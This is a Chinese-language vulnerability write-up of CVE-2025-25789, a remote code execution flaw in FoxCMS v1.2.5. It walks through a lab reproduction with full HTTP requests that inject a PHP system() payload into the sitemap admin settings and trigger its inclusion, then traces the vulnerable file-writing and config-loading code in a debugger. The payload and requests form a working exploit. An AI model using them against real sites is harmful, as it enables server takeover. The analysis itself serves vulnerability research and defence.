CVE-2025-25789 rce 漏洞分析
CVE-2025-25789 rce 漏洞分析
CVE-2025-25789 rce 漏洞分析
前言
文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担
环境搭建
下载源码后放入 www直接启动

然后配置一下数据库和管理员密码

安装成功后如图

漏洞复现
访问
http://foxcms:6767/index.php/admin6327/Sitemap/index.html?columnId=74
然后点击保存
POST /index.php/admin6327/Sitemap/index HTTP/1.1
Host: foxcms:6767
Content-Length: 118
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://foxcms:6767
Referer: http://foxcms:6767/index.php/admin6327/Sitemap/index.html?columnId=74
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=008dbf759bee25f230b171a94a38e2af
Connection: keep-alive
filter=hide_column%2Couter_model%2C&sitemap_type=xml%2Chtml%2C&frequency=a',system('calc'),'a&level=1.0%2C0.3%2C0.2%2C修改我们的 frequency 为恶意的 payload
然后准备触发
我们抓取更新的包
POST /index.php/admin6327/Sitemap/handUpdate HTTP/1.1
Host: foxcms:6767
Content-Length: 8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://foxcms:6767
Referer: http://foxcms:6767/index.php/admin6327/Sitemap/index.html?columnId=74
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=008dbf759bee25f230b171a94a38e2af
Connection: keep-alive
type=xml然后发送

成功弹出计算器造成了 rce
调试分析
文件写入
这里我们详细调试分析一下
首先定位到我们的漏洞代码
Sitemap.php:17, app\admin\controller\Sitemap->index()
Container.php:344, ReflectionMethod->invokeArgs()
Container.php:344, think\App->invokeReflectMethod()
Controller.php:110, think\route\dispatch\Url->think\route\dispatch\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\route\dispatch\Controller.php:84-113}()
Pipeline.php:59, think\Pipeline->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Pipeline.php:57-63}()
Pipeline.php:66, think\Pipeline->then()
Controller.php:113, think\route\dispatch\Url->exec()
Dispatch.php:80, think\route\dispatch\Url->run()
Route.php:793, think\Route->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Route.php:792-794}()
Pipeline.php:59, think\Pipeline->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Pipeline.php:57-63}()
Pipeline.php:66, think\Pipeline->then()
Route.php:794, think\Route->dispatch()
Http.php:216, think\Http->dispatchToRoute()
Http.php:206, think\Http->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Http.php:205-207}()
Pipeline.php:59, think\Pipeline->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Pipeline.php:57-63}()
MultiApp.php:51, think\app\MultiApp->think\app\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\think-multi-app\src\MultiApp.php:50-52}()
Pipeline.php:59, think\Pipeline->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Pipeline.php:57-63}()
Pipeline.php:66, think\Pipeline->then()
MultiApp.php:52, think\app\MultiApp->handle()
Middleware.php:142, call_user_func:{D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Middleware.php:142}()
Middleware.php:142, think\Middleware->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Middleware.php:137-148}()
Pipeline.php:85, think\Pipeline->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Pipeline.php:83-89}()
AllowCrossDomain.php:61, think\middleware\AllowCrossDomain->handle()
Middleware.php:142, call_user_func:{D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Middleware.php:142}()
Middleware.php:142, think\Middleware->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Middleware.php:137-148}()
Pipeline.php:85, think\Pipeline->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Pipeline.php:83-89}()
SessionInit.php:67, think\middleware\SessionInit->handle()
Middleware.php:142, call_user_func:{D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Middleware.php:142}()
Middleware.php:142, think\Middleware->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Middleware.php:137-148}()
Pipeline.php:85, think\Pipeline->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Pipeline.php:83-89}()
TraceDebug.php:71, think\trace\TraceDebug->handle()
Middleware.php:142, call_user_func:{D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Middleware.php:142}()
Middleware.php:142, think\Middleware->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Middleware.php:137-148}()
Pipeline.php:85, think\Pipeline->think\{closure:D:\phpstudy_pro\WWW\FoxCMS v1.2.5\vendor\topthink\framework\src\think\Pipeline.php:83-89}()
Pipeline.php:66, think\Pipeline->then()
Http.php:207, think\Http->runWithRequest()
Http.php:170, think\Http->run()
index.php:105, {main}()来到初始的 index 方法
首先处理我们的传入参数然后调用 set_php_arr 方法
public function index(){
$sitemap = xn_cfg("sitemap");
if($this->request->isAjax()){
$param = $this->request->param();
if(key_exists("filter", $param)){
$sitemap['filter'] = $param['filter'];
}
if(key_exists("sitemap_type", $param)){
$sitemap['sitemap_type'] = $param['sitemap_type'];
}
if(key_exists("frequency", $param)){
$sitemap['frequency'] = $param['frequency'];
}
if(key_exists("level", $param)){
$sitemap['level'] = $param['level'];
}
set_php_arr(config_path('cfg'), 'sitemap.php', $sitemap);
$this->success("操作成功");
}
View::assign("sitemap", $sitemap);
//过滤
$filters = [];
if(!empty($sitemap['filter'])){
$filters = explode(",",$sitemap['filter']);
}
View::assign("filters",$filters);
//sitemap类型
$sitemapTypes = [];
if(!empty($sitemap['sitemap_type'])){
$sitemapTypes = explode(",",$sitemap['sitemap_type']);
}
View::assign("sitemapTypes",$sitemapTypes);
//更新频率
$frequencys = [];
if(!empty($sitemap['frequency'])){
$frequencys = explode(",",$sitemap['frequency']);
}
View::assign("frequencys",$frequencys);
//优先级别
$levels = [];
if(!empty($sitemap['level'])){
$levels = explode(",",$sitemap['level']);
}
View::assign("levels",$levels);
$frequencyList = [
['key'=>'always','text'=>'经常'],
['key'=>'hourly','text'=>'每小时'],
['key'=>'daily','text'=>'每天'],
['key'=>'weekly','text'=>'每周'],
['key'=>'monthly','text'=>'每月'],
['key'=>'yearly','text'=>'每年'],
['key'=>'never','text'=>'从不']
];//更新频率
$levelList = ['0.1','0.2','0.3','0.4','0.5','0.6','0.7','0.8','0.9','1.0'];//优先级别
View::assign("frequencyList",$frequencyList);
View::assign("levelList",$levelList);
//sitemap 网站地图
$view_suffix = config('view.view_suffix');//模型文件后缀
$sitemap = "/app/home/view/sitemap.{$view_suffix}";
$autoSitemap = root_path().'templates/'. $this->template['template']."/". $this->template['html']."/sitemap.{$view_suffix}";
$autoSitemap = replaceSymbol($autoSitemap);
if(file_exists($autoSitemap)){//文件存在的
$sitemap = 'templates/'. $this->template['template']."/". $this->template['html']."/sitemap.{$view_suffix}";
$sitemap = replaceSymbol($sitemap);
}
$cur_lang = $this->getMyLang();
$home_lang = xn_cfg("base.home_lang");//默认语言
if($cur_lang == $home_lang){
$html_url = $this->domain."sitemap.html";
$txt_url = $this->domain."sitemap.txt";
$xml_url = $this->domain."sitemap.xml";
}else{
$html_url = $this->domain.$cur_lang."/sitemap.html";
$txt_url = $this->domain.$cur_lang."/sitemap.txt";
$xml_url = $this->domain.$cur_lang."/sitemap.xml";
}
$sm['html_url'] = $html_url;
$sm['txt_url'] = $txt_url;
$sm['xml_url'] = $xml_url;
View::assign("sm",$sm);
View::assign("sitemap",$sitemap);
return view();
}
跟进 set_php_arr 方法
function set_php_arr($phpPath, $filename, $saveData)
{
//创建文件夹
if (!tp_mkdir($phpPath)) {
return "创建文件夹失败";
}
$phpfile = $phpPath . $filename;
$str = "<?php\r\nreturn [\r\n";
foreach ($saveData as $key => $val) {
$str .= "\t'$key' => '$val',";
$str .= "\r\n";
}
$str .= '];';
file_put_contents($phpfile, $str);
}
}
可以看见就是一个写入文件的操作
可以看见写入的文件地址是
config\cfg\sitemap.php而且写入内容就是一个 php 的文件内容
<?php
return [
'filter' => 'hide_column,outer_model,',
'sitemap_type' => 'xml,html,',
'frequency' => 'a',system('calc'),'a',
'0' => '1',
'1' => 'a',
'level' => '1.0,0.3,0.2,',
];我们查看文件内容是否被改变

可以发现文件内容已经被修改,所以这算是一个在固定文件写入任意的内容
触发漏洞
那现在我们虽然写入了文件,但是如何触发漏洞呢?
直接访问吗

这样并不能触发漏洞
所以我们得想一个办法间接的去访问我们的文件
我们全局搜索我们的文件名称
全局搜索了一下,发现并没有,但是并不代表不能触发漏洞
因为可能包含数据是拼接的
最后发现
handUpdate 方法是可以的
我们跟踪调试
public function handUpdate(){
$type = $this->request->param("type","");
if(empty($type)){
$this->error("缺少更新参数");
}
$sitemapTypes = ['xml','txt','html'];
if(!in_array($type, $sitemapTypes)){
$this->error("更新网站地图参数错误");
}
(new SitemapUtil())->generateSitemap($type, $this->domain, $this->getMyLang());
$this->success("更新成功");
}跟进 generateSitemap 方法
public function generateSitemap($type, $domain, $lang=""){
$sitemap = xn_cfg("sitemap");
$filters = [];
if(!empty($sitemap['filter'])){
$filters = explode(",",$sitemap['filter']);
}
//更新频率
$frequencys = [];
if(!empty($sitemap['frequency'])){
$frequencys = explode(",",$sitemap['frequency']);
}
//优先级别
$levels = [];
if(!empty($sitemap['level'])){
$levels = explode(",",$sitemap['level']);
}
//url模式
$url_model = xn_cfg("seo.url_model");
$where = [];
if(in_array("hide_column", $filters)){//隐藏栏目
array_push($where, ['status', '=', 1]);
}
if(in_array("outer_model", $filters)){//过滤外部模块
array_push($where, ['column_attr', '<>', 1]);
}
//查询模型
$mrList = ModelRecord::field("table, nid")->where(['is_delete'=>0, 'status'=>1, "reference_model"=>0])->select();
//查询栏目
$curlang = xn_cfg("base.lang");
if(empty($lang)){
$lang = $curlang;
}
array_push($where, ['lang', '=', $lang]);
$columns = Column::where($where)->order('level asc')->order('sort asc')->select();
$view_suffix = config('view.view_suffix');
if($url_model == 3){//静态化页面
$indexUrl = $domain;
}else{
$indexUrl = $domain."index.{$view_suffix}";
}
if($type == "xml"){
$this->xml_sitemap($columns, $indexUrl, $view_suffix, $mrList, $frequencys, $levels, $domain, $lang);
}elseif ($type == "txt"){
$this->txt_sitemap($columns, $mrList, $indexUrl, $domain, $lang);
}elseif ($type == "html"){
return $this->html_sitemap($columns, $mrList, $view_suffix, $domain, $lang);
}elseif($type == "all"){//生成全部网站地图
$this->txt_sitemap($columns, $mrList, $indexUrl, $domain, $lang);
$this->xml_sitemap($columns, $indexUrl, $view_suffix, $mrList, $frequencys, $levels, $domain, $lang);
$this->html_sitemap($columns, $mrList, $view_suffix, $domain, $lang);
}
}
处理我们的类型进入 xn_cfg 方法
function xn_cfg($name, $default = '', $path = 'cfg')
{
if (false === strpos($name, '.')) {
$name = strtolower($name);
$config = \think\facade\Config::load($path . '/' . $name, $name);
return $config ?? [];
}
$name_arr = explode('.', $name);
$name_arr[0] = strtolower($name_arr[0]);
$filename = $name_arr[0];
$config = \think\facade\Config::load($path . '/' . $filename, $filename);
return $config[$name_arr[1]] ?? $default;
}这里会加载我们的配置

这里就会加载我们的文件
public function load(string $file, string $name = ''): array
{
if (is_file($file)) {
$filename = $file;
} elseif (is_file($this->path . $file . $this->ext)) {
$filename = $this->path . $file . $this->ext;
}
if (isset($filename)) {
return $this->parse($filename, $name);
}
return $this->config;
}跟进 parse
protected function parse(string $file, string $name): array
{
$type = pathinfo($file, PATHINFO_EXTENSION);
$config = [];
switch ($type) {
case 'php':
$config = include $file;
break;
case 'yml':
case 'yaml':
if (function_exists('yaml_parse_file')) {
$config = yaml_parse_file($file);
}
break;
case 'ini':
$config = parse_ini_file($file, true, INI_SCANNER_TYPED) ?: [];
break;
case 'json':
$config = json_decode(file_get_contents($file), true);
break;
}
return is_array($config) ? $this->set($config, strtolower($name)) : [];
}
成功包含了我们含有恶意代码的文件